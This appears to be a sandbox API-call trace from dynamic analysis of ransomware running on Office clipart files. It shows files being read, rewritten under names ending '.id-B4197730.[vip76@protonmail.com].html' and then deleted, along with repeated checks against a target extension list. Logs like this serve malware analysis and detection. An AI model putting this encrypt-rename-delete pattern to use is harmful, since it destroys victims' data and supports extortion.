	[0183.655] ReadFile (in: hFile=0x590, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x3632, lpOverlapped=0x0) returned 1
	[0183.660] WriteFile (in: hFile=0x4a8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x3640, lpOverlapped=0x0) returned 1
	[0183.662] ReadFile (in: hFile=0x590, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.662] WriteFile (in: hFile=0x4a8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.662] SetEndOfFile (hFile=0x4a8) returned 1
	[0183.662] CloseHandle (hObject=0x4a8) returned 1
	[0183.662] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.662] SetEndOfFile (hFile=0x590) returned 1
	[0183.665] CloseHandle (hObject=0x590) returned 1
	[0183.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1
	[0183.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.667] lstrlenW (lpString=".doc") returned 4
	[0183.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.667] lstrlenW (lpString=".docx") returned 5
	[0183.667] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0183.667] lstrlenW (lpString=".pdf") returned 4
	[0183.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.667] lstrlenW (lpString=".xls") returned 4
	[0183.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.667] lstrlenW (lpString=".xlsx") returned 5
	[0183.667] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0183.667] lstrlenW (lpString=".ppt") returned 4
	[0183.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.667] lstrlenW (lpString=".zip") returned 4
	[0183.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.667] lstrlenW (lpString=".rar") returned 4
	[0183.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.667] lstrlenW (lpString=".bz2") returned 4
	[0183.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.667] lstrlenW (lpString=".7z") returned 3
	[0183.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.667] lstrlenW (lpString=".dbf") returned 4
	[0183.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.668] lstrlenW (lpString=".1cd") returned 4
	[0183.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.668] lstrlenW (lpString=".jpg") returned 4
	[0183.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.668] lstrlenW (lpString=".doc") returned 4
	[0183.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.668] lstrlenW (lpString=".docx") returned 5
	[0183.668] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0183.668] lstrlenW (lpString=".pdf") returned 4
	[0183.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.668] lstrlenW (lpString=".xls") returned 4
	[0183.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.668] lstrlenW (lpString=".xlsx") returned 5
	[0183.668] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0183.668] lstrlenW (lpString=".ppt") returned 4
	[0183.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.668] lstrlenW (lpString=".zip") returned 4
	[0183.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.669] lstrlenW (lpString=".rar") returned 4
	[0183.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.669] lstrlenW (lpString=".bz2") returned 4
	[0183.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.669] lstrlenW (lpString=".7z") returned 3
	[0183.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.669] lstrlenW (lpString=".dbf") returned 4
	[0183.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.669] lstrlenW (lpString=".1cd") returned 4
	[0183.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0183.669] lstrlenW (lpString=".jpg") returned 4
	[0183.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.669] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0183.669] lstrlenW (lpString="J0099154.JPG") returned 12
	[0183.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0183.670] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=6929) returned 1
	[0183.670] CloseHandle (hObject=0x590) returned 1
	[0183.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220
	[0183.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0183.671] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.671] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0183.672] GetLastError () returned 0x0
	[0183.672] ReadFile (in: hFile=0x590, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1b11, lpOverlapped=0x0) returned 1
	[0183.674] WriteFile (in: hFile=0x4a8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0183.675] ReadFile (in: hFile=0x590, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.675] WriteFile (in: hFile=0x4a8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.675] SetEndOfFile (hFile=0x4a8) returned 1
	[0183.676] CloseHandle (hObject=0x4a8) returned 1
	[0183.676] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.676] SetEndOfFile (hFile=0x590) returned 1
	[0183.680] CloseHandle (hObject=0x590) returned 1
	[0183.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1
	[0183.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.683] lstrlenW (lpString=".doc") returned 4
	[0183.683] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.683] lstrlenW (lpString=".docx") returned 5
	[0183.683] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0183.683] lstrlenW (lpString=".pdf") returned 4
	[0183.683] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.683] lstrlenW (lpString=".xls") returned 4
	[0183.683] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.683] lstrlenW (lpString=".xlsx") returned 5
	[0183.683] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0183.683] lstrlenW (lpString=".ppt") returned 4
	[0183.683] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.684] lstrlenW (lpString=".zip") returned 4
	[0183.684] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.684] lstrlenW (lpString=".rar") returned 4
	[0183.684] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.684] lstrlenW (lpString=".bz2") returned 4
	[0183.684] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.684] lstrlenW (lpString=".7z") returned 3
	[0183.684] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.684] lstrlenW (lpString=".dbf") returned 4
	[0183.684] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.684] lstrlenW (lpString=".1cd") returned 4
	[0183.684] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.684] lstrlenW (lpString=".jpg") returned 4
	[0183.684] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.684] lstrlenW (lpString=".doc") returned 4
	[0183.684] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.684] lstrlenW (lpString=".docx") returned 5
	[0183.684] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0183.684] lstrlenW (lpString=".pdf") returned 4
	[0183.684] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.684] lstrlenW (lpString=".xls") returned 4
	[0183.685] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.685] lstrlenW (lpString=".xlsx") returned 5
	[0183.685] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0183.685] lstrlenW (lpString=".ppt") returned 4
	[0183.685] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.685] lstrlenW (lpString=".zip") returned 4
	[0183.685] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.685] lstrlenW (lpString=".rar") returned 4
	[0183.685] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.685] lstrlenW (lpString=".bz2") returned 4
	[0183.685] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.685] lstrlenW (lpString=".7z") returned 3
	[0183.685] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.685] lstrlenW (lpString=".dbf") returned 4
	[0183.685] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.685] lstrlenW (lpString=".1cd") returned 4
	[0183.685] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0183.685] lstrlenW (lpString=".jpg") returned 4
	[0183.685] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.686] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0183.686] lstrlenW (lpString="J0099155.JPG") returned 12
	[0183.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0184.095] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=8826) returned 1
	[0184.095] CloseHandle (hObject=0x590) returned 1
	[0184.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220
	[0184.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.603] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.604] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0184.605] GetLastError () returned 0x0
	[0184.605] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x227a, lpOverlapped=0x0) returned 1
	[0184.616] WriteFile (in: hFile=0x5ac, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2280, lpOverlapped=0x0) returned 1
	[0184.617] ReadFile (in: hFile=0x5bc, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.618] WriteFile (in: hFile=0x5ac, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.618] SetEndOfFile (hFile=0x5ac) returned 1
	[0184.618] CloseHandle (hObject=0x5ac) returned 1
	[0184.618] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.618] SetEndOfFile (hFile=0x5bc) returned 1
	[0184.623] CloseHandle (hObject=0x5bc) returned 1
	[0184.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1
	[0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.625] lstrlenW (lpString=".doc") returned 4
	[0184.625] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.625] lstrlenW (lpString=".docx") returned 5
	[0184.625] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0184.626] lstrlenW (lpString=".pdf") returned 4
	[0184.626] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.626] lstrlenW (lpString=".xls") returned 4
	[0184.626] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.626] lstrlenW (lpString=".xlsx") returned 5
	[0184.626] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0184.626] lstrlenW (lpString=".ppt") returned 4
	[0184.626] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.626] lstrlenW (lpString=".zip") returned 4
	[0184.626] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.626] lstrlenW (lpString=".rar") returned 4
	[0184.626] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.626] lstrlenW (lpString=".bz2") returned 4
	[0184.626] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.626] lstrlenW (lpString=".7z") returned 3
	[0184.626] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.627] lstrlenW (lpString=".dbf") returned 4
	[0184.627] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.627] lstrlenW (lpString=".1cd") returned 4
	[0184.627] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.627] lstrlenW (lpString=".jpg") returned 4
	[0184.627] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.627] lstrlenW (lpString=".doc") returned 4
	[0184.627] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0184.627] lstrlenW (lpString=".docx") returned 5
	[0184.627] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0184.627] lstrlenW (lpString=".pdf") returned 4
	[0184.627] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0184.627] lstrlenW (lpString=".xls") returned 4
	[0184.627] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0184.627] lstrlenW (lpString=".xlsx") returned 5
	[0184.627] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0184.627] lstrlenW (lpString=".ppt") returned 4
	[0184.627] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0184.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.628] lstrlenW (lpString=".zip") returned 4
	[0184.628] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0184.628] lstrlenW (lpString=".rar") returned 4
	[0184.628] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0184.628] lstrlenW (lpString=".bz2") returned 4
	[0184.628] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0184.628] lstrlenW (lpString=".7z") returned 3
	[0184.628] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0184.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.628] lstrlenW (lpString=".dbf") returned 4
	[0184.628] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0184.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.628] lstrlenW (lpString=".1cd") returned 4
	[0184.628] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0184.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0184.628] lstrlenW (lpString=".jpg") returned 4
	[0184.628] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0184.629] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0184.629] lstrlenW (lpString="J0099162.JPG") returned 12
	[0184.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.631] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19656) returned 1
	[0184.631] CloseHandle (hObject=0x5bc) returned 1
	[0184.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220
	[0184.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.632] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.632] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0184.635] GetLastError () returned 0x0
